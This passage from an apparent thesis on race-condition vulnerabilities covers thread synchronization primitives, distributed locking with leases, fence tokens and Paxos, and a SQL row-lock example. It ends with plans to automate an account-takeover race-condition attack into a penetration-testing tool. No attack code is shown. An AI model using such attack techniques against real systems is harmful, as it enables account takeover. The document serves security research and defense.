17 s t a t i c void EnterSemaphore ( ob j e c t id )
18 {
19 Console . WriteLine ( $ " Request { id } i s wa i t ing to ente r " ) ;
20 semaphore . Wait ( ) ; // Request to ente r the semaphore
21 Console . WriteLine ( $ " Request { id } has entered " ) ;
22

23 // Simulat ing work
24 Thread . S leep (1000) ;
25

26 Console . WriteLine ( $ " Request { id } i s l e av ing " ) ;
27 semaphore . Re lease ( ) ; // Release the semaphore
28 }
29 }

The last common synchronization primitive is the monitor. This is a high-level
concept that combines data and synchronization mechanisms into a single construct.
In this way, the developer has the shared data and the methods to access it in
the same instance, offering a more organized approach to thread synchronization.
Given their nature, monitors are typically used in object-oriented programming
environments. The Monitor class in .NET provides the method and a structure for
this type of primitive.
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Figure 7.2: Scheme of a monitor primitive

Other important synchronization techniques worth mentioning are barriers
and condition variables. A barrier defines a point in the code where all active
threads have to wait for the working threads to finish their operations. It is used
when an application has to ensure that all threads have completed a specific task
before going forward with computation. Condition variables, on the other hand,
are a constructs that wait for a condition to be met before allowing proceeding fur-
ther; typically the condition is related to the state of data shared with other threads.

Synchronization is a crucial component in modern applications, and develop-
ers should understand how to enforce it and which tools they have at disposal.
Choosing the right technique, however, depends on the requirements of the specific
applications: the use of synchronization, in fact, can lead to problems such as dead-
locks and could lower the performances of your software. It is the responsibility of
the programmer to understand the objectives of an application and the techniques
it requires to be safe from possible attacks.

7.2 Avoiding Race Conditions in Distributed En-
vironments

If local race conditions are a problem for every software developer, they become a
serious security risk when dealing with a distributed environment. In this scenario,
in fact, the whole architecture is typically designed as a set of independent deploy-
able services, each one encapsulating specific requirements of the whole system.
However, these distinct services often need to communicate between them and to
have access to resources shared by all the components of the environment. And, as
we saw in previous chapters, when two services try to modify or access the same
resource, the system runs the risk of encountering a race condition.

Traditional locking techniques like mutexes and semaphores are not suited for
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a distributed infrastructure, because they are designed for a single node architec-
ture where threads within the same process need to coordinate access to shared
resources. A distributed situation, instead, presents challenges that these mecha-
nisms are not designed to handle:

• Network Latency: nodes in a distributed system communicate over a
network, introducing latency. Traditional locks assume low latency, which is
not feasible across networked nodes.

• Failure Detection: It is difficult to detect a node failure. A node holding a
traditional lock might crash, leaving the lock in an indeterminate state.

• Scalability: Distributed systems often require coordination among many
nodes, which traditional locking does not handle efficiently.

• Consistency: Traditional locks do not account for scenarios where nodes
might be partitioned or fail independently.

The main technique to avoid race conditions in distributed environments is to adopt
distributed locking. This is a synchronization mechanism that is used to manage
access to shared resources, ensuring that only one process can perform modification
at a given time. In distributed systems, information about who owns which lock
on what resource is held in a cluster-wide lock database, updated whenever a
node acquires or releases a lock on a shared resource. Moreover, unlike traditional
locking, distributed ones adopt different techniques to ensure that locks can be
reassigned or released even if a node crashes, maintaining the system’s reliability
and availability. The standard solution is to adopt a lease for the lock, defining
a Time-To-Live value which is then stored on the lock database, and once the
lease expires, the lock is released even if the node has not completed its operations
[56]. It may happen, however, that a paused node which lost the lease on the lock
might come back on and proceed to complete its operations, believing it still owns
the resource. To avoid this, each node should be provided with a fence token
whenever it acquires a lock; this token holds a value that is increased every time a
lock is acquired, so that even if an old node tries to perform unsafe transactions,
the system will notice that its fence token value is no more valid and will block
that operation [57].

Another way to decide who has to own a lock in a distributed environment
is using consensus algorithms. To explain how a consensus algorithm works,
let’s take a look at Paxos; this is an algorithm solution designed to help all the
nodes in a distributed system agree on the order of transactions to be carried out,
and consequently on which node should own a resource at a certain time. In Paxos
we have three main roles available for each node: proposers suggest a transaction
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Figure 7.3: Example of locking with lease and fence token. [56]

to perform, acceptors respond to proposal and decide whether to accept them,
and learners are just informed of the final decision. For example, in an online
shipping web application, we may have different servers working concurrently in
order to answer to a larger number of users. When picking the next transaction to
perform one of these servers, before committing, will send a message to the other
nodes, announcing the operation he is proposing to carry out. In the next phase
that server will wait for the other nodes, that will behave like acceptors and each
decide if that transaction should be completed. Until a quorum between all the
nodes is achieved, the transaction will be halted; once this is achieved, instead, the
proposing server will execute his operation, and that nodes that were not involved
in the consensus will be notified of the final outcome [58].

Distributed locking can be also achieved by using transactions and row-level
locking mechanisms provided by relational databases. In this scenario, the insert
and update operations in a database are handled conditionally, and are performed
only if that process has the lock on the resource it wants to modify. Regarding
transactions, they should be as atomic as possible, and developers should always
make sure that when one of them is not committed correctly, the whole system
undergoes a rollback to ensure recovery of the previous state.

Listing 7.2: A database lock
1 BEGIN;
2

3 −− Lock the row conta in ing the inventory in fo rmat ion
4
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5 SELECT ∗ FROM inventory WHERE item_id = 123 FOR UPDATE;
6

7 −− Check inventory l e v e l
8

9 SELECT stock FROM inventory WHERE item_id = 123 ;
10

11 −− Update inventory i f the s tock i s s u f f i c i e n t
12

13 UPDATE inventory SET stock = stock − 1 WHERE item_id = 123 AND stock
> 0 ;

14

15 COMMIT;
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Chapter 8

Future Works

The attack designed over the course of these pages can surely be enhanced further
in order to become a standard tool for web applications penetration testing. This
purpose can be achieved both by the continued research over the techniques it
is built on, and by the development of ways that create a more user-friendly
environment for the attack’s deployment.

8.1 Process Automation
Penetration testers have to be both fast and thorough when inspecting an applica-
tion searching for vulnerabilities. Unlike an attacker in fact—who has all the time in
the world to analyze the system, find a hidden software defect, and build his danger-
ous exploit—they usually only have a reduced amount of days in which to check that
all the different parts of a web application are safely protected. For this reason, hav-
ing a testing tool which is fast to set up and easy to use, can make a huge difference.

In order to launch the attack studied in this thesis a tester would have to download
the Terraform scripts and use the proposed repositories for the client Python code.
That, noting that he might also want to edit both of these resources in order to
tune the attack to his necessities. All of these passages could be integrated in a
single tool that would perform the whole infrastructure set up, requiring from the
user only minor adjustments to be used against a target system.

8.2 Integration on an existing tool
Apart from having a standalone tool capable of launching the attack, there’s also
the possibility to design it as an extension of an already existing program. Having
various solutions within the same tool is often appreciated by users, as it makes
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the application more versatile and avoids the need to occupy memory with the
download of a separate program.

In testing environments, pentesters employ a large number of tools to verify that
an application is indeed secure, ranging from automatic scanners to input fuzzers.
Two tools, however, could be considered as the standard for penetration testing of
web applications: Burp Suite and ZAP. Burp Suite is a software application that
provides different crucial features when inspecting a web application; thanks to its
simplicity, its modern features and large community, it can be considered the top
notch product in the web app security field. ZAP, on the other hand, is an open
source tool originally developed by the OWASP Foundation that offers capabilities
like an HTTP proxy and a web crawler, allowing users to inspect and test a web
application in the easiest way possible. What makes these tools more interesting is
that both of them provide the possibility to develop custom extensions, which can
then be integrated into the tools in a straightforward way.
The work developed in this thesis could then be programmed as an extension and
added to one of this two tools; in this way the designed attack would be even easier
to deploy.
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Conclusions

This thesis aimed to discuss race conditions vulnerabilities and their underrated
impact on web application security. To demonstrate these issues, an attack was
designed that exploits hidden race conditions to gain unauthorized control users
account. Moreover, a new way of testing for race conditions was proposed.

By leveraging cloud resources and adopting a multi-server approach, this method
enhances the ability to identify and exploit concurrency vulnerabilities in web
applications, offering a valuable tool for penetration testers, who could employ it to
raise the security standards that modern applications need to adhere to. However,
the inherent challenges faced when testing for race conditions in web environments,
combined with the experimental nature of the techniques employed, may suggest
that the feasibility of such attacks in realistic scenarios is limited.

Tuning the tools and the theoretical frameworks used in this research could,
however, surely provide consistent evidence of the relevance of race conditions
vulnerabilities. Furthermore, the integrating the discussed approach into an open
source tool and automating the infrastructure deployment can lead to expansion of
the designed attack’s application and to an enhanced awareness regarding the race
conditions problem.

Ultimately, just as these pages collect various inspiring techniques and tools from
researchers worldwide, it is hoped that this thesis too can serve as a stepping stone
for penetration testers and web security enthusiasts towards the creation of a more
secure online world.
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